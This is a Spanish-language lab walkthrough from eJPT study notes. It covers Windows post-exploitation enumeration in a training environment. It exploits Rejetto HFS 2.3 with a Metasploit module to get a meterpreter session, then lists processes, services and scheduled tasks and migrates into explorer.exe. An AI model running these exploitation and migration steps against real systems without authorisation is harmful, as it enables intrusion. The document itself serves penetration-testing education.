> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-windows/enumeracion-de-procesos-y-servicios-windows.md).

# Enumeración de procesos y servicios - Windows

## 🎯 ¿Por qué es importante?

Una vez obtenido acceso inicial a un sistema, identificar los **procesos**, **servicios activos** y **tareas programadas** puede revelar:

* Credenciales en memoria
* Servicios mal configurados o vulnerables
* Persistencia activa o backdoors
* Privilegios elevados mal gestionados
* Oportunidades de escalada local

***

## 🧠 ¿Qué debemos buscar?

| 🔍 Elemento               | 💡 Descripción                                                                            |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| **Procesos en ejecución** | Ejecutables activos, especialmente los que corren como *SYSTEM* o *Administrador*.        |
| **Servicios activos**     | Servicios de Windows o Linux que podrían tener configuraciones inseguras.                 |
| **Tareas programadas**    | Scripts o binarios que se ejecutan automáticamente (usados para persistencia o escalada). |

***

## 🧪 Laboratorio Práctico

**aso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/iNozLtE8wiRYgVRWosaW" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/BfNrnOHTNB1DITtIsGnE" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Antes de que podamos comenzar a realizar la enumeración local, necesitaremos obtener acceso al sistema de destino.

Para empezar, necesitaremos identificar un servicio vulnerable que se esté ejecutando en el sistema de destino Windows, esto se puede hacer realizando un escaneo de detección de versión de servicio con Nmap.

**Dominio:**

```
nmap -sV demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela que hay un servidor web ejecutándose en el puerto 80.

<figure><img src="/files/n2yBRbSrH8rrkCyPXkwb" alt=""><figcaption></figcaption></figure>

**Paso 4:** Búsqueda de exploits con Searchsploit

El escaneo de Nmap reveló que el puerto 80 está ejecutando **Rejetto HTTP File Server 2.3** , podemos buscar exploits que afecten a esta versión de **Rejetto HTTP File Server** con una herramienta como Searchsploit ejecutando el siguiente comando:

**Dominio:**

```
searchsploit rejetto
```

Como se muestra en la siguiente captura de pantalla, Searchsploit revela que hay un módulo de explotación de Metasploit Framework que se puede utilizar para explotar esta versión específica del **servidor de archivos HTTP Rejetto** .

<figure><img src="/files/jutilj04bGBMqPqTz3a6" alt=""><figcaption></figcaption></figure>

**Paso 5:** Obtener acceso

Para utilizar este módulo de exploit, necesitaremos iniciar la Consola Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
msfconsole
```

Después de iniciar **msfconsole** , podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use exploit/windows/http/rejetto_hfs_exec
```

Ahora tendremos que configurar las opciones del módulo; más específicamente, establecer la dirección IP de destino. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set RHOSTS demo.ine.local
```

Después de configurar las opciones del módulo, podemos ejecutar el módulo de exploit ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

Como se muestra en la siguiente captura de pantalla, el módulo de explotación se ejecuta con éxito y nos proporciona una sesión **de meterpreter** en el sistema de destino.

<figure><img src="/files/sWNvs52DL5rPIL7zsjKk" alt=""><figcaption></figcaption></figure>

Ahora que hemos obtenido acceso al sistema de destino de Windows, podemos comenzar a enumerar los procesos y servicios que se ejecutan en el sistema de destino.

**Paso 6:** Enumeración de procesos y servicios

Para empezar, podemos enumerar una lista de procesos en ejecución en el objetivo de Windows ejecutando el siguiente comando en meterpreter:

**Dominio:**

```
ps
```

Como se muestra en la siguiente captura de pantalla, el comando **ps** mostrará una lista de todos los procesos que se ejecutan en el sistema de destino, además de los ID de proceso (PID), el usuario y la ruta al programa.

<figure><img src="/files/krJIe2gXXNfuDwlTF1xU" alt=""><figcaption></figcaption></figure>

También podemos utilizar **meterpreter** para buscar procesos específicos que sean de su interés, por ejemplo, si queremos localizar e identificar el ID de proceso (PID) del proceso explorer.exe, podemos ejecutar el siguiente comando:

**Dominio:**

```
pgrep explorer.exe
```

Como se muestra en la siguiente captura de pantalla, el comando anterior muestra el PID del proceso **explorer.exe** .

<figure><img src="/files/dbdLDKYNBIS24hb5wFCZ" alt=""><figcaption></figcaption></figure>

**Nota:** El PID de explorer.exe será diferente en su entorno de laboratorio.

Otra función que ofrece meterpreter es la posibilidad de migrar a un proceso diferente mediante el PID. Por ejemplo, podemos migrar al proceso explorer.exe ejecutando el siguiente comando:

**Dominio:**

```
migrate 2252
```

Como se muestra en la siguiente captura de pantalla, la migración se realizó correctamente. Es importante tener en cuenta que solo se puede migrar a un proceso diferente si se tiene una sesión con privilegios elevados en el sistema de destino.

<figure><img src="/files/XYaTB8uqylaXxCZbGqnD" alt=""><figcaption></figcaption></figure>

Podemos enumerar una lista de servicios en ejecución generando una sesión de shell de comandos y ejecutando el siguiente comando:

**Dominio:**

```
net start
```

<figure><img src="/files/5RYJALZFEyLrvCCMCpAq" alt=""><figcaption></figcaption></figure>

Podemos obtener más información sobre los servicios en ejecución ejecutando el siguiente comando:

**Dominio:**

```
wmic service list brief
```

Como se muestra en la siguiente captura de pantalla, este comando mostrará una lista de servicios en ejecución además del nombre del servicio, el ProcessID y el estado activo del servicio.

<figure><img src="/files/S7TW5jdPBJ6yfK3uFsKP" alt=""><figcaption></figcaption></figure>

Además de enumerar los procesos y servicios en ejecución, también podemos enumerar una lista de tareas en ejecución y los servicios correspondientes a cada una. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
tasklist /SVC
```

<figure><img src="/files/zaLbuqRY6iC3Zhf78u1l" alt=""><figcaption></figcaption></figure>

Otro dato importante a enumerar es la lista de tareas programadas en el destino de Windows, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
schtasks /query /fo LIST
```

Como se muestra en la siguiente captura de pantalla, el comando anterior enumerará todas las tareas programadas configuradas para ejecutarse en el sistema de destino.

<figure><img src="/files/f5nxXAkXk9woSOphUdOQ" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, exploramos el proceso de enumerar la lista de procesos y servicios en ejecución, además de las tareas en ejecución y las tareas programadas que se han configurado para ejecutarse en un sistema de destino que ejecuta Windows.
